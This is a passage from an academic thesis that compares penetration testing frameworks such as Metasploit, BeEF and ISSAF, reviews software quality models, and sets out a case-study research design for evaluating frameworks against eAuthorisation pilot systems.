2.3.8 Metasploit Framework (MSF)
Metasploit in generic terms is a suite of penetration testing and intrusion detection tools designed to
identify and exploit vulnerabilities on a target system. Metasploit was originally an open source
project developed by HD More in 2003. It was acquired in 2009 by Rapid7 who is now responsible
for its development and support (Holik et al., 2014). Metasploit is commonly known as the
Metasploit Framework with four different versions available, namely, Metasploit Framework
(MSF), Metasploit Community Edition, Metasploit Express, and Metasploit Pro. Metasploit
Framework (MSF) is a free open source command line only version, whereas the Metasploit
Community edition is bundled with a graphical user interface. MSF and the Community Edition
versions are free for both commercial and private use. Finally, Metasploit Pro and Metasploit
Express are both commercial versions. Metasploit Pro is bundled with extra features, thus suitable
for the more advanced pen tester. Metasploit Pro provides advanced useability features, for instance,
quick pen testing wizards, enhanced workflow productivity features, and comprehensive reporting
tools. In addition, Metasploit Pro provides functionality to import vulnerabilities from vulnerability
lists with the intent of testing system users to determine if they are susceptible to phishing attacks
by means of simulation. All four editions of Metasploit provide an array of tools for specific tasks,
in particular; information gathering, vulnerability scanning, exploitation, maintaining access, and
reporting. However the free versions are not as comprehensive as the commercial versions. Updates
to all Metasploit editions occur regularly and support is available depending on the edition. With
reference to the MSF edition specifically; MSF is a platform for writing, testing, and using exploit
code to deliver payloads to target systems for the purposes of penetration testing. It uses a command
line interface with an underlying module based architecture and is built with extensibility in mind
by allowing different modules to perform different tasks, thus new modules can be added to the
framework (Holik et al., 2014). The basic process for the pen tester is first to choose an exploit that
exists on the target system. Next, determine if the target is vulnerable to the exploit, followed by
selection and configuration of a payload; finally, attempt to exploit the target. Specific information
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about the target is required, thus other tools are often used in combination to obtain certain
information, for instance; the target operating system, open ports, and/or potential vulnerabilities.
MSF is suitable for the more advanced security professional who has a solid understanding of
penetration testing and is competent using command line tools. In comparison to ISSAF and
OSSTMM, MSF is a practical solution that provides a suite of tools rather than a documented
outline of process and methods to follow. Rapid7 has packaged the four Metasploit editions as an
off-the-shelf product that pen testers can take advantage of, however it is not clear whether any or
all of the editions available are frameworks as the name suggests. Moreover, MSF could be
considered an application that encompasses a suite of tools that facilitate a penetration test.
2.3.9 Browser Exploitation Framework (BeEF)
BeEF is an open source browser exploitation framework used primarily as a penetration testing tool
for browser based vulnerabilities and web applications. The framework was originally published in
2006 (Alcorn, Orru, Coles, Passmore, & Pilkington, 2012). Alcorn (2007) concluded that
encapsulation of an exploit within one protocol can be used in an application using a different
protocol, put another way, inter-protocol exploitation; for instance, using JavaScript to encapsulate
an exploit within an HTTP request. BeEF comes packaged with a web interface, command-line
application interface, and Metasploit integration. Similar to other frameworks, BeEF encompasses
information gathering, social engineering, and network discovery as packaged modules. BeEF
provides an experienced pen tester with the means of assessing the security posture of an
environment by using client side attack vectors. The BeEF architecture consists of two interfaces.
First, the user interface whereby a pen tester can observe all online and offline browsers to conduct
exploits against. Second, the communications server. The communication server transmits via
HTTP information concerning hooked browsers. BeEF covers only one domain area, that of the
web browser. Similar to Metasploit, BeEF is a supported off the shelf application ready to use for
experienced pen testers. In comparison to the ISSAF, OSSTMM, NIST 800-115, BeEF is not a
document of processes and guidelines, rather a downloadable product specifically aimed at web
applications.
In summary, there is a diverse range of methodologies and frameworks available. Each consists of
unique characteristics and takes a distinct approach to a penetration testing project. The literature
suggests a difference in the way terminology is applied to each framework or methodology
respectively, thus used interchangeably. For instance, the ISSAF is defined as a framework however
throughout the documentation it refers to methodology as the primary approach. Metasploit on the
other hand is described as a framework, whereas it could be considered a software application
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encompassing a suite of tools. Therefore clarification on the classification of common
methodologies and frameworks is essential to avoid confusion.

2.4 Quality Models
The Institute of Electrical and Electronics Engineers (1990) defines quality as the degree to which a
system, component, or process meets specified requirements and the degree to which a system,
component, or process meets customer or user needs or expectations. Similarly, Standards Australia
(2000) defines quality as “the totality of characteristics of an entity that bear on its ability to satisfy
stated and implied needs”. Assessing a product’s quality generally relates to how “good” a product
is, thus the use of product quality models is an acceptable means to determine a product’s overall
quality (Miguel, Mauricio, & Rodriguez, 2014). Fortunately, the discipline of software engineering
has available a range of quality models. Whilst focussed on software quality, these models can be
drawn upon and applied to the field of penetration testing. Potentially suitable quality models
include: McCall’s, Boehm’s, and Dromey’s Models. In addition, ISO 9126 and ISO/IEC
25010:2013 among others (Al-Qutaish & Abran, 2011).
2.4.1 McCall model
Originally produced for the U.S. Air force, the McCall model was devised as a hierarchical model
as a way to derive metrics for quantifying software for objective analysis (McCall, Richards, &
Walters, 1977). The model is partitioned into three main perspectives for characterising quality
attributes for software, namely, product review, product operation, and product transition, each
containing sub characteristics referred to as factors (Miguel et al., 2014). Product review is
concerned with the product’s ability to undergo changes (maintainability, flexibility and testability).
Product operation addresses product operational characteristics (correctness, reliability, efficiency,
integrity and usability). Finally, product transition is concerned with the product’s ability to adapt to
new environments (portability, reusability and interoperability) (Al-Badareen, Selamat, Jabar,
Jamilah, & Sherzod, 2011). The aim of the model is to determine the overall quality of software by
means of yes/no metrics. In other words, if 50% of the quality metrics are ‘yes’, then the overall
quality criteria achieved is 50%. A consideration worth noting however, is the answers to the
questions relating to quality criteria depend largely on the evaluator’s judgement (Berander et al.,
2005). Another drawback of McCall’s model is that user experience is not considered.
2.4.2 Boehm Model
The Boehm model, similarly to the McCall model, is hierarchical in nature. The Boehm model
attempts to improve upon the McCall model by adding an extra level to the hierarchy (Al-Badareen
et al., 2011), thus a three level structure defining software quality at the base level. The higher level
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(level one) includes three primary factors: portability, “as-is” utility, and maintainability (Miguel et
al., 2014). Portability maps directly to level three factors, therefore does not contain sub-factors,
and is concerned with the product’s ability to adapt to a new environment. Maintainability and as-is
utility, on the other hand, map directly to level two factors that subsequently map to level three in
the hierarchy. As-is utility consists of three sub factors: efficiency, usability, and reliability and is
concerned primarily with the extent to which the software can be used “as-is”. Maintainability
attempts to address the ease of modification and identifying change, thus the sub factors are;
testability, understandability, and flexibility. Level three is further refined encompassing eighteen
primitive factors providing a foundation for defining quality metrics. Ultimately, the goal of the
Boehm model was to represent one or more metrics measuring a particular factor (Berander et al.,
2005), however, the Boehm model does not offer a measurement methodology.
2.4.3 Dromey Model
The Dromey model focuses primarily on product software, code, and product implementation. The
Dromey model is empirical in nature with the idea of being broad enough to work with different
systems (Al-Badareen et al., 2011). The model attempts to establish a link between tangibly quality
characteristic and less tangible quality attributes (Dromey, 1995). According to Dromey (1995),
other models fail to deal with product characteristics adequately, in addition, fail to link quality
attributes with the corresponding product characteristics. The Dromey model suggests that quality
evaluation is different for each product, thus proposes a more dynamic model compared to McCall’s
and Boehm’s (Al-Badareen et al., 2011). Similarly to McCall and Boehm, Dromey is hierarchal and
consists of three tiers, although it could be considered a two-tier model considering the first tier is
the software product (implementation). The second tier is concerned with product properties that
influence quality, therefore it identifies four product properties, namely: correctness, internal,
contextual, and descriptive. Each product property maps directly to the third tier, whereby the
corresponding quality attributes are identified. Correctness directly relates to quality attributes of
functionality and reliability whereas internal relates to maintainability, efficiency, and reliability.
Contextual shares two quality attributes with the internal product property, namely, maintainability
and reliability, in addition, it includes reusability and portability. Similarly, the descriptive product
property shares quality attributes with its predecessors, such as, maintainability, reusability and
portability, with the addition of usability as an extra quality characteristic.
2.4.4 ISO 9126
The ISO 9126 standard is a hierarchical model based on the Boehm and McCall models (Berander
et al., 2005). The model is described in two parts. Part one consists of internal and external quality
attributes that define software by its functionality, thus encapsulates quality characteristics from an
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internal and external perspective. Quality attributes are partitioned into six characteristics:
functionality, reliability, usability, efficiency, maintainability, and portability. Each of the top-level
characteristics consists of sub characteristics that can be measured by internal or external metrics
(Standards Australia, 2005). Part two describes a quality in use model that is intended to represent
the users point of view. Quality in use details four attributes: effectiveness, productivity, safety, and
satisfaction. Standards Australia (2005, p. 20) describes quality in use as “the user's view of the
quality of an environment containing software, and is measured from the results of using the
software in the environment, rather than properties of the software itself”. It therefore implies that
the level of quality in the users' environment may be different from that of the developers'
environment. Additionally, ISO 9126 suggests how metrics can be selected for quantitative
measures and asserts that metrics selection will likely depend on business objectives and needs of
the evaluator, thus supports a variety of evaluation requirements. ISO 9126 states it is not
practically possible to measure all internal and external characteristics, therefore using the quality
model is recommended as a checklist of issues relating to quality.
2.4.5 ISO/IEC 25010:2013
The ISO/IEC 25010 quality standard (Standards Australia, 2013) was derived from ISO 9126, and
is considered to be a revised version of the latter. ISO/IEC 25010 is identical to ISO 9126 inasmuch
as product quality and quality in use models are described. ISO/IEC 25010 defines a product quality
model composed of eight characteristics as opposed to six, thus the taxonomy contains: functional
suitability, performance efficiency, compatibility, usability, reliability, security, maintainability, and
portability. Similarly, ISO/IEC 25010 is hierarchical and further divides sub-characteristics that
relate to static properties of software respectively. Security, which is the primary focus of this
research, is defined as a sub-characteristic of functionality in ISO 9126. This is a departure from
the commonly held belief that security is solely within the domain of non-functional requirements.
The ISO/IEC 25010 standard (Standards Australia, 2013) extends upon this idea and considers
security a characteristic in its own right. ISO/IEC 25010 is therefore a replacement for ISO 9126.
2.4.6 Summary
The McCall model and Boehm model appear similar, however the Boehm model attempts to
improve upon McCall with its structure by means of partitioning the top most level more broadly.
For instance rather than focusing on software operation, review and transition as a basis, it
prioritises portability, maintainability, and as-is utility as primary factors, therefore a departure from
McCall’s original approach. Turning to the Dromey model, the approach is more dynamic,
suggesting that each product should be evaluated differently, whereby product properties link
directly to quality characteristics. ISO/IEC 25010 is a replacement for ISO 9126, therefore could be
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considered the more relevant ISO quality standard in this context. ISO/IEC 25010 considers “user
experience”, thus is a two-part model, as compared to the aforementioned models whose focus is
primarily software development.
Table 2.1 summarises the most common quality characteristics displayed across the five models
reviewed. Table 2.1 shows that maintainability, portability, and reliability are used across all
models, therefore may be considered significant quality metrics overall, followed closely by
reusability and testability.
Table 2.1: Quality Characteristics Comparison
McCall

Boehm

Dromey

ISO 9126

ISO/IEC

Total

25010
Correctness

*

Efficiency

*

*

Functional

*

2

*

3

*

Integrity

*

*

Maintainability

*

*

Modifiability

*

*

3
2

*

*

*

*

5

*

*

3

*

*

3

Operability

*

Portability

*

*

*

*

*

5

Reliability

*

*

*

*

*

5

Reusability

*

*

*

*

4

*

*

2

*

*

4

*

*

3

Security
Testability

*

Usability

*

*

2.5 Conclusion
Business objectives and project scope will likely influence the selection of a particular framework
or methodology when considering undertaking a penetration-testing project. When determining an
approach, clearly defined terms are one significant factor for consideration, primarily because
penetration testing encompasses repeatable phases and tasks similarly to that of a project.
Therefore, adapting a methodology or framework that is well-defined within a penetration testing
context would be an advantage. The literature, however, suggests confounding terms within this
context. Particular frameworks cited in section 2.3 take a distinct approach to penetration testing.
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Some are aimed at the entire security posture of an organisation, while others are more specialised
in their approach, for example, OWASP Testing Guide illustrates a strong focus on web
applications. Commonalities among them do however, exist. Phases identified predominately
include: planning and preparation, information gathering, vulnerability identification, exploitation,
maintaining access, and reporting. Although not limited to these phases, generally a framework will
recognise one or more of these phases in one form or another.
Quality of a particular framework or methodology is of further interest. This research intends to
evaluate penetration testing frameworks for quality, therefore a reliable underlying model to draw
from is of significance. Quality relating to documented frameworks is scarce, however that is not to
say non-existent, moreover difficult to obtain. Before considering the practical applicability of an
underlying quality model for evaluating penetration testing frameworks, criteria for devising a
proposed quality model must be selected. Therefore, the quality models reviewed in section 2.4
were considered for two reasons. First, they were sourced from a related field of study (that of
software engineering), and second, they were developed from an authoritative source, in other
words widely recognised and accepted in industry. The existing body of knowledge offers little
evidence for comparing documented frameworks for quality and functionality. Certainly, literature
exists; however, it tends to generalise penetration testing with a narrow focus (i.e., one or two
frameworks). Furthermore, comparative or evaluative literature that is publically available is largely
unscholarly, thus this review omitted particular material due to the absence of authoritative, peerreviewed sources.
Penetration testing as a mitigation strategy is growing rapidly as cyber security concerns grow.
Penetration testing courses, certification, and training are now widely available. Consequently,
specialised firms are gaining popularity. Although acknowledged as not a new phenomenon, it is
still in its infancy in terms of a formal approach. Therefore to conclude, distinctively differentiating
between framework and methodology would be of benefit. In addition, an evaluation of currently
available penetration testing methodologies and frameworks that take a unified approach
acknowledging quality characteristics based on an underlying model would be a significant
contribution to the industry as a whole.

32

Chapter 3 : Research Methods and Design:
This chapter will discuss the research approach, research method, and research design adopted to
facilitate the research. The chapter begins with a discussion on the research approach. Particular
attention is paid to the field of information systems predominantly because it is considered a closely
related field of study that can be conveniently adapted, if not directly applied, to computer science.
Through a process of elimination a suitable research approach is identified. Following the same
principal, pertinent methods for the research approach are explored by means of identifying the
most appropriate topic area (object of interest), thus, further narrowing the candidates to one
research method applicable to this research. Next, the research design is presented detailing various
phases employed to conduct data collection and analysis. The chapter then proceeds to discuss
limitations of the research, and finally conclude with a summary of expected outcomes.

3.1 Research Approach:
There exists a range of approaches advocated as suitable for research. Galliers (1990) reviewed an
array of approaches applicable to the field of information systems and presented a revised taxonomy
that assesses strengths and weaknesses of various research approaches. The approaches reviewed by
Galliers are categorised as, empirical (quantitative) and interpretive (qualitative). One advantage of
Galliers’ model is its direct correlation between topic area (referred to as object of interest) and
research methods. The revised taxonomy proposed by Galliers (see table 3.1) is used to identify and
guide this research through the process of elimination, thus adopt a suitable research approach.
Table 3.1: Information Systems Research Approaches (Galliers, 1990)
Modes for traditional empirical approaches (observation)

Modes for newer approaches (interpretation)

Object

Theorem Laboratory
Field
Proof
Experiment Experiment

Case
Study

Survey

Simulation
Forecasting
Descriptive/
and
Subjective/
and Futures
Interpretive
Game/Role Argumentative
Research
(reviews)
playing

Action
Research

Society
Organisation
group

No

No

Possibly

Possibly

Yes

Yes

Possibly

Yes

Yes

Possibly

No

Possibly

Yes

Yes

Yes

Yes

Yes

Yes

Yes

Yes

Individual

No

Yes

Yes

Possibly

Possibly

Possibly

Yes

Yes

Yes

Possibly

Technology

Yes

Yes

Yes

No

Possibly

Yes

Yes

Possibly

Possibly

No

Methodology

No

No

Yes

Yes

Yes

No

Yes

Yes

Yes

Yes

Theory Building No

No

No

Yes

Yes

Yes

Yes

Yes

Yes

Yes

Theory Testing Yes
Theory
Possibly
Extension

Yes

Yes

Possibly

Possibly

No

Possibly

No

Possibly

Possibly

Possibly

Possibly

Possibly

Possibly

No

No

No

Possibly

Possibly
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3.1.1 Object of Interest
Table 3.1 presents the suitability of each approach in the context of a particular topic area (object)
of study. To recall, the research questions are concerned primarily with methodologies and
frameworks that exist in documented form, therefore aims to identify characteristics of frameworks
and methodologies to differentiate between them. In addition, the questions aim to evaluate
particular frameworks for quality, thus:
RQ 1: How to differentiate between methodologies and frameworks for the purposes of
penetration testing
a) What characteristics define a penetration testing framework?
b) What characteristics define a penetration testing methodology?
RQ 2: What quality metrics can be defined for penetration testing frameworks?
RQ 3: How can penetration testing frameworks be evaluated using quality metrics?
Clearly, the research is not concerned with opinions, people or places, therefore society,
organisational groups, and individual are not appropriate. Likewise, technology does not present as
the most appropriate object of interest. Technology is more concerned with the “development of”
technology as opposed to evaluation of documented methodologies and frameworks. Turning to the
theory categories, theory building is concerned with the extension of theories within a limited
knowledge area. Similarly, theory extension is concerned with the improvement on existing
theories. This research is not intended to build or extend on any existing theory, moreover aims to
evaluate documented frameworks from a practical perspective facilitated by the existing body of
knowledge. Comparatively, theory testing is concerned with the development of new knowledge by
means of testing existing theories. As a consequence, the theory category of objects is not suitable,
therefore eliminated.
One of the key objectives of the research is to explore methodologies and frameworks within the
boundaries of penetration testing. Fortunately, Galliers’ taxonomy provides methodology as an
object of interest; therefore, given that the research questions are about evaluating methodologies
and frameworks, methodology is preferred.

3.2 Research Method:
This research will rely on quantitative (empirical) measures of quality for evaluating methodologies
and frameworks, as a result all modes interpretivist in nature are eliminated. Therefore, the
available approaches (shown in table 3.1) for methodology are limited to field experiment, case
study, and survey. Each approach is discussed for applicability.
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The objective of field experiment is to use real-world organisations or societies in an attempt to
construct an experiment in a more realistic manner, minus the restrictions of a controlled laboratory
environment (Galliers, 1990). The aim of this research is to evaluate and test various methodologies
and frameworks for quality as opposed to penetration testing for an organisation, therefore field
experiment is ruled out.
Surveys aim to capture a snap shot in time using aids such as questionnaires or interviews. The
research questions presented are oriented towards testing quality criteria within a real-world context
and cannot be answered by opinions of people; therefore they require a more practical approach.
Consequently, survey is ruled out leaving the remaining approach, i.e., case study.
The purpose of a case study is to use a real “case” to be studied. One benefit of the case study
approach is its ability to capture, in considerably more detail, a complex object (case) in its natural
context (Galliers, 1990), therefore case study is more appropriate and closely aligned to answer the
research questions presented. The “case” of interest for this research is an evaluation of penetration
testing frameworks by means of testing an eAuthorisation system (see section 3.3.1). This research
will adopt a real-world project that is suitable and available for penetration testing.

3.3 Research Design
The research design is presented in five phases, as illustrated in figure 3.1. To begin, phase 1 will
attempt to answer RQ 1, whereby the terms “methodology “and “framework” appear to be poorly
defined. Despite the confusion of terms there are many pen testing methodologies/frameworks
available, therefore phase 1 will discuss nomenclature resolution. Phase 1 is a pre-requisite to
facilitate the process of performing a gap analysis in phase 2.
Phase 2 will perform a gap analysis on a selection of nine frameworks and methodologies that
identify as security testing or penetration testing specific. The gap analysis will use a set of welldefined properties to evaluate characteristics of each framework. The analysis will show a preevaluation and post-evaluation categorisation. The analysis will determine if a pen testing
framework is actually a framework relying upon nomenclature resolution (phase 1) as the
foundation.
Phase 3 will extend upon phase 2 whereby the two most appropriate frameworks are selected to
undergo quality evaluation. The analysis of the candidate frameworks will take the form of a
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suitability matrix. Frameworks are eliminated by two criteria, suitability and classification. First a
candidates’ post-evaluation category (see phase 2, gap analysis) should identify as framework or
methodology; second, the scope of a particular framework. In other words, a candidate should first
identify as a framework or methodology post evaluation and identify as penetration testing specific
as opposed to an overall security assessment.
Phase 4 is divided into two parts with the objective of addressing RQ 2 (see table 3.2). First, to
identify and define a set of quality metrics, and second, develop an underlying quality model. Prior
to undertaking quality evaluation a set of quality metrics need to be established, thus phase 4
defines and details a candidate set of metrics to form the foundation for an underlying quality
model. The initial candidate metrics are largely drawn from a review of four existing quality models
in the literature, combined with ISO/IEC 25010. The candidate metric set are namely; extensibility,
maintainability, domain coverage, usability, availability, and reliability. Taking into consideration
the differences that exist among frameworks and methodologies, it is expected that re-examination
of the candidate set could occur; consequently, repeatedly refining the metric set. This phase
concludes with a proposed underlying quality model suitable for evaluating the two selected
frameworks.
The final phase (phase 5) entails multiple penetration tests conducted against a target system using
two frameworks selected from phase 3. The objective of the penetration tests is to identify potential
vulnerabilities that exist, in addition, attempt to measure quality of each framework for their realworld application in research or practice. Fortunately, Edith Cowan University (ECU) has available
a suitable project, Authentication and Authorisation for Entrusted Unions (AU2EU). AU2EU
consists of twelve partners across Europe and Australia and is funded under the European Seventh
Framework Programme (FP7). The aim of the project is to design and implement an eAuthorisation
and corresponding eAuthentication platform to allow delivery of services across different
organisational or governmental jurisdictions (Dhouha et al., 2014). The AU2EU project consists of
two pilot systems, the German Red Cross (DRK), and CSIRO. Each consists of differing security
domains and associated access policies. From the outset, it is intended that the two case studies
undergo penetration testing in order to provide cross-validation. Under these circumstances, and in
combination with the case study approach, the research questions presented are addressed.
3.3.1 Case Study Description
Case Study 1: The DRK case study is an e-Health collaborative assistant living pilot. The German
Red Cross provide regional emergency and social services to patients. New clients are entered into
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the system via a web application interface followed by a hardware installation of the emergencybuttons, sensors, and communication device in the patients’ home. A web interface is available for
on-site care providers to login and register new clients. The web interface is accessible via mobile
devices and/or laptop computers.
Case Study 2: The CSIRO case study is a bio-security incident management system and considered
an important mechanism to sustain Australia’s agricultural productivity and export trade that relies
heavily on a disease free status (Dhouha et al., 2014). When a disease outbreak occurs the
Consultative Committee of Emergency Animal Disease (CCEAD) collaborate to determine research
and diagnostic information strategies for dealing with the emergency, thus the collaboration
involves multiple groups from various locations and sectors whereby sensitive information must be
shared in a timely manner.

Table 3.2: Research Question Phase Mapping
Research Questions Related Phase
RQ 1:

Phase 1

RQ 1a)

Phase 2

RQ 1b)

Phase 2

RQ 2:

Phase 4

RQ 3:

Phase 5
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Gap Analysis
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j
Phase 4
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Phase S

Case Study
Penetration Testing

•

Phase 6
Data Analysis

Figure 3.1: Research Design

3.4 Materials:
Materials used for the research will consist of a computer capable of running Kali Linux, a known
Linux distribution pre-packaged with penetration testing software. In addition, documentation
sourced from the originating providers of the selected methodologies and frameworks.

3.5 Data Analysis:
Data analysis will entail three primary areas of discussion. The first area does not adopt quantitative
measures, moreover an analysis of existing definitions from authoritative sources concerning
definition of terms, that of “methodology” and “framework”. The discussion will centre on
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methodology and framework characteristics that closely align with documented processes, primarily
focused on penetration testing drawn from the existing body knowledge. The discussion is included
as part of the initial data analysis to show how framework and methodology characteristics are
identified, thus, subsequently used in the proceeding gap analysis whereby framework and
methodology characteristics are categorically defined. The objective is to come to a defendable
conclusion as to what could effectively be referred to as a penetration testing framework or
penetration testing methodology by means of a gap analysis. The second area of discussion is
concerned with defining a set of suitable quality metrics. Subsequently, a penetration testing quality
model is proposed whereby measurements of quality can be made and analysed. Finally, data
analysis will involve assessing two nominated frameworks for quality based on the proposed quality
model (see section 4.3.2) during a penetration test. Quality metrics and associated sub
characteristics will be explicitly defined coupled with a quantitative approach to measurements that
can be directly applied. This entails measuring certain quality characteristics against each
framework respectively.
Analysis of the data will involve the interpretation of results derived from penetration tests
performed against the AU2EU project (eAuthorisation system). The two frameworks nominated for
testing are evaluated for quality based on an underlying model coupled with appropriate measures
of quality characteristics. In addition, the steps performed to reach a conclusion on a particular
framework are detailed accordingly. The analysis aims to assess the suitability of each framework
for its application to penetration testing from conception to completion in practice or research while
maintaining a primary focus on quality attributes that can potentially be measured using quantitative
means.

3.6 Limitations:
This research will make use of the AU2EU project (see section 3.3). The AU2EU project has
available two eAuthorisation and eAuthentication pilot systems (DRK and CSIRO), suitable for
penetration testing. The research is limited to two case studies, nevertheless it is intended the case
studies will provide cross-validation and provide significant insight into vulnerability assessments
and/or exploitation due to the real-world application of an eAuthorisation system. Furthermore, the
data analysis will present a valuable resource that can be adapted within other penetration testing
domains. Additional limitations identified are; the number of quality metrics selected for theoretical
analysis, and, the number of frameworks selected to undergo penetration testing. With reference to
quality variables, a limitation of six is considered sufficient for theoretical analysis, however a
revision of these variables is possible. Next, frameworks nominated to undergo penetration testing
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are limited to two, taking into consideration the complexity of performing a penetration test in its
entirety.

3.7 Summary
This chapter presented research methods and design suitable for answering the research questions
articulated. Several research approaches were considered based on Galliers’ taxonomy. Through a
process of elimination an object of interest (that of Methodology), was identified. Following this,
the Case Study method was selected as appropriate for this research. Combining the Methodology
object and Case Study method, a quantitative approach was defined allowing the research design to
be developed. The research design was partitioned into a five-phase process whereby each phase
was mapped directly to the research questions. Finally, potential limitations of the research design
are noted.
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Chapter 4 : Analysis and Discussion
This chapter consists of six sections that discuss in detail the research topic of this thesis, as a
consequence answering the research questions presented. The chapter begins with nomenclature
resolution (section 4.1). Penetration testing methodologies and frameworks appear to be poorly
defined;

despite

this

confusion

of

terms

there

are

many

penetration

testing

methodologies/frameworks available. Nomenclature resolution attempts to answer research
question one (RQ1), which asks how to differentiate between framework and methodology for the
purpose of penetration testing. Section 4.1.1 and section 4.1.2 extend upon nomenclature resolution
by categorising penetration testing artefacts based on characteristic analysis. The characteristics
analysis proposes a framework vs. methodology matrix offering remedy for RQ1-a and RQ1-b
accordingly. Following this, a gap analysis is performed in section 4.2 on nine penetration testing
methodologies and frameworks to determine if a penetration testing framework is actually a
framework, i.e., it has a sound underlying ontology. One primary objective of the research is to
evaluate two chosen frameworks for quality, however prior to any worthwhile evaluation, quality
metrics must be established, therefore research question two (RQ2) seeks to discover what quality
metrics can be defined, thus quality model analysis is performed in section 4.3.1 and consecutive
sub-sections. Section 4.3.2 builds upon this and proposes six quality metrics that subsequently form
part of an underlying quality model in preparation for the two selected frameworks to undergo
evaluation. Next, section 4.4 evaluates the two selected frameworks adopting the proposed quality
model that ultimately will determine their suitability for real world applications, offering remedy for
the final question (RQ3); can penetration testing frameworks be evaluated using quality criteria.
Finally, a discussion of results in section 4.5 is presented. The chapter concludes with section 4.6
whereby amendments to the research environment are discussed.
Case Study Amendments
Initially it was intended that two implementations of an e-Authorisation and eAuthentication system
undergo penetration testing. Regrettably, due to circumstances outside the control of the research,
testing was not completed as originally planned, which appears to be a risk when dealing with live,
real-world cases. To reintroduce the AU2EU project, the two e-Authorisation implementations (case
studies) consisted of the German Red Cross (DRK), and CSIRO. As will be elaborated on further in
section 4.6, the CSIRO implementation was not tested, therefore, it was substituted with a virtual
implementation provided by IBM (another partner organisation in the aforementioned AU2EU
project). IBM was the original source for the two case studies, therefore a valid substitute for this
research. This chapter frequently refers to the IBM implementation and the DRK implementation;
furthermore, results obtained throughout this chapter are drawn from DRK and IBM, omitting the
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CSIRO implementation originally proposed.

4.1 Nomenclature Resolution
Nomenclature resolution attempts to answer RQ1, to recall, RQ1 asks how to differentiate between
methodologies and frameworks for the purposes of penetration testing. Very little research has been
undertaken to determine the difference between the two terms relating specifically to penetration
testing, however discussions and definitions do exist on each term in isolation. Avison and
Fitzgerald (2006, p. 418) discuss in detail the loose but extensive use of the term “methodology”
and argue that there is little agreement as to what it means other than at a very general level.
Consequently, the difference between penetration testing methodologies and frameworks appears to
be

poorly

defined.

Despite

this

confusion

of

terms

many

penetration

testing

methodologies/frameworks are available. The approach taken was to first review literature and
definitions already available then, subsequently extract characteristics of each term in isolation, thus
forming a baseline of common properties for each term.
4.1.1 Defining Methodologies and Frameworks for the purpose of pen testing
Although the literature provides definitions for methodologies and frameworks in various contexts,
primarily information systems, there appears to be a disparity when relating these terms to
penetration testing. For instance, Avison and Fitzgerald (2006) define a methodology as "a
collection of procedures, techniques, tools and documentation aids, which will help the systems
developers in their efforts to implement a new information system. A methodology consists of
phases, themselves consisting of sub phases, which will guide the systems developers in their
choice of the techniques that might be appropriate at each stage of the project and also help them
plan, manage, control and evaluate information systems projects". The Oxford Dictionary defines a
framework as “An essential supporting structure of a vehicle or object”, or more software focussed;
“a basic structure underlying a system, concept, or text” ("Framework", 2015). Comparatively,
Johnson (1997) states that a framework is the skeleton of an application that can be customised by
an application developer. In addition Johnson further states that, “a framework is a reusable design
of all or part of a system that is represented by a set of abstract classes and the way their instances
interact”. From an application development context, Land (2002) defines frameworks as a skeleton
from which software applications can be built. For penetration testing however, a software
application is typically not the final product; moreover the final product is generally a report
detailing results of a series of tests that subsequently is presented to the client. In contrast, Wilhelm
(2009) asserts that frameworks focus primarily on processes necessary to achieve results and
methodology encapsulates processes, activities, and tasks.
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Considering common properties of the above definitions, a penetration testing methodology can be
defined as; a collection of procedures, techniques, tools, and documentation aids which assist the
penetration tester in their effort to perform penetration testing in its entirety. A penetration testing
methodology consists of phases themselves encapsulating sub-phases that will guide security
practitioners in their choice of techniques that might be appropriate at each stage of a project. It may
further detail how to perform a particular task providing tools and techniques, additionally, assist
with planning and management control as part of the methodology. Methodology is concerned with
the “how” and “why” things are done. Similarly, a penetration testing framework can be defined as,
a reusable shell or skeleton whereby new methodologies can be added in order to tailor them for
new requirements. A framework can be considered a reusable template or outline for penetration
testing that may take the form of documentation, software or, a combination of both. Framework is
concerned with “what” needs to be done and allows the security practitioner to decide “how”. Based
on the aforementioned definitions, the following factors outlined in table 4.1 are considered when
classifying a particular methodology or framework.

Table 4.1: Factors for Classification
Factors for frameworks

Factors for methodologies

Does it describe what to do opposed to how to Does it describe how processes are done?
do it?
Is it a template or skeleton that can be reused to Is it based
cater for new requirements?
philosophy?
Can new processes be added?

on

underlying

principles

or

Does it contain a collection of procedures, tools
and techniques?
Does it contain phases and/or sub phases?

Is it a written document or software based?

Does it aid in reporting, planning, management
and control of a penetration test?

Is it flexible?

Is it repeatable?

Is it reusable?

4.1.2 Nomenclature Definition
In combination with factors outlined in table 4.1, framework and methodology characteristics (see
table 4.2) show a summary of differences between a framework and methodology, thus each
framework or methodology discussed in the following sections is classified according to these
characteristics.
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Table 4.2: Framework vs. Methodology Characteristics
Characteristics

Framework

Methodology

Flexible / adapt to new

Yes - descriptive

Possibly -

circumstances

prescriptive

Tools and Techniques

possibly

yes

Describes what to do

yes

possibly

Describes how and why

No

yes

Based on an underlying

Yes

yes

yes

no

yes

yes

yes

yes

Provides outputs/reports

possibly

yes

Repeatable processes

possibly

yes

philosophy or principles
(objectives)
Can embed other
methodologies
Provides planning,
management and control
Provides phases and/or
sub phases

and procedures

4.2 Gap Analysis
This section will describe a theoretical review of nine penetration testing methodologies and/or
frameworks with the aim of classifying each respectively into an appropriate category, in particular,
that of methodology or framework. The review will form of an overview whereby three primary
areas are discussed. First, the classification of each framework and/or methodology provided by the
authors; second, an overview of the framework and its purpose. Finally, highlight characteristics
that either agree or disagree with its current classification. The outcome of the review will present a
gap analysis matrix (see table 4.3) of the nine frameworks and methodologies reviewed showing
pre-evaluation and post-evaluation classification. The gap analysis matrix consists of six categories,
namely: standard or guide, framework, methodology, application suite, manual or resource.
Following the results of the gap analyses, two suitable frameworks are selected to undergo further
evaluation in section 4.2.3.
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4.2.1 Theoretical Review
4.2.1.1 ISSAF
The Open Information Systems Security Group (OISSG) describes the ISSAF as a framework. The
penetration testing methodology embedded within ISSAF is partitioned into three phases that
include: planning and preparation, assessment, reporting and clean up (OISSG, 2005). The
remaining sections focus on a multitude of domain areas. Domain coverage is comprehensive,
including, but not limited to: password security testing, switch and router security, firewall security,
intrusion detection systems, assessments, VPN security, web application security, and windows
security. Although not all domains are listed here, it is suffice to say that the ISSAF attempts to
cover an exhaustive list of domains to cater for all possible scenarios. It is worthy to reiterate
however, that the documentation has not undergone review since 2006, thus particular information
is considered out-dated and not directly applicable to certain technologies and/or threats emerging
today. Embedded within these domains are methodologies themselves, whereby, processes, tools
and techniques are discussed in detail. For example, the planning and preparation phase embeds a
passive information gathering methodology that consists of its own phases, tools and techniques.
The information gathering methodology (planning and preparation phase), explains how and why
certain processes need to occur coupled with screen shots and examples of how to use certain tools.
This structure is repeated throughout the ISSAF. In summary the ISSAF is classified as a
